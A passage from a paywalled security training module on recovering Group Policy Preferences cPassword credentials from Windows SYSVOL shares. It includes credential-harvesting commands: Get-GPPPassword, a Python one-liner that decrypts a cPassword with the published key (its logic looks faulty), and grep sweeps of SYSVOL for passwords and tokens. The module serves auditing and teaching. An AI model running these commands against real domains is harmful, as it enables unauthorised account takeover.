Group Policy Preferences (GPP) was introduced in Windows Server 2008 to let admins manage settings that weren’t covered by Group Policy Objects β local account creation, scheduled tasks, services, drive mappings, printer deployments. Admins could set passwords for these in the GPO, stored in SYSVOL. Until 2014, those passwords were encrypted with an AES key Microsoft published publicly. MS14-025 removed the ability to create new password-laden GPPs but didn’t remove existing ones. In 2026, GPP cPassword remnants still live in SYSVOL folders of many production domains.
Why this happens
The cPassword design was baffling in hindsight: Microsoft needed domain-member computers to decrypt local admin passwords from GPOs. They needed a shared secret. They chose a single AES-256 key, published in MSDN documentation. The key is the same on every Windows install. Literally public.
Any authenticated user can read SYSVOL. Find cPassword attribute in any GPP XML file. Decrypt with the public key. Game over for that account.
Exploitation β still working in 2026
# Search SYSVOL for GPP passwords (from any domain-joined machine)
Get-GPPPassword # PowerView function
# Or manually
\\dc.corp.local\SYSVOL\corp.local\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
# Example file content (abbreviated):
#
#
#
# Decrypt using published key
# (Or use: Get-GPPPassword | format-list)
echo "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" | \
python3 -c "import sys; from Crypto.Cipher import AES; from base64 import b64decode; \
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b'); \
c = b64decode(sys.stdin.read().strip() + '==' if len(sys.stdin.read().strip())%4 else ''); \
print(AES.new(key, AES.MODE_CBC, b'\\x00'*16).decrypt(c).decode('utf-16'))"
# Output: local admin password from 2008
Real engagement outcome: ~25% of domains audited in 2024-2025 still have GPP cPassword findings. Usually they’re for accounts named “Administrator” or “LocalAdmin” β often the same local admin password on every machine in the domain.
What else lives in SYSVOL
SYSVOL is readable by every domain user. Beyond cPassword:
- Scheduled tasks with hardcoded credentials in XML
- Login scripts containing credentials (“NET USE X: \\share /USER:admin password”)
- MOF files with DSC configurations
- MSI installers uploaded for deployment that contain embedded credentials
- PowerShell scripts invoked by logon/startup with credentials
- Configuration files for various automation tools
- Intune / SCCM bootstrap scripts containing tokens
# Grep SYSVOL for credentials broadly
find /mnt/sysvol -type f -exec grep -l -i -E 'password|cpass|credential|token' {} \;
# PowerView's Get-GPPAutologon for autologon credentials in Registry.pol
Get-GPPAutologon
# Search for Base64-encoded blobs in scripts
grep -riE '[A-Za-z0-9+/=]{40,}' /mnt/sysvol/ | head
Why this keeps happening
- GPOs are rarely deleted. Old GPOs remain even if their policy scope is unlinked. The XML file stays in SYSVOL.
- No tooling to scan SYSVOL for credentials automatically. Most orgs don’t know about Get-GPPPassword.
- Admins move on. Original admin left in 2015; replacement doesn’t know the history.
- Fear of breaking things. “Don’t delete that GPO β something might still use it.”
- Audit coverage for SYSVOL is uncommon. DCs include SYSVOL but scanning it for sensitive data is not default.
MS14-025 patch impact
The patch:
π Intermediate Module Β· Basic Tier
Continue reading with Basic tier (βΉ499/month)
You've read 27% of this module. Unlock the remaining deep-dive, quiz, and every other Intermediate module.
99+ modulesAll levels up to this tier
20-question quizzesUnlimited retries with explanations
Completion certificatesShareable on LinkedIn
5 more sections locked below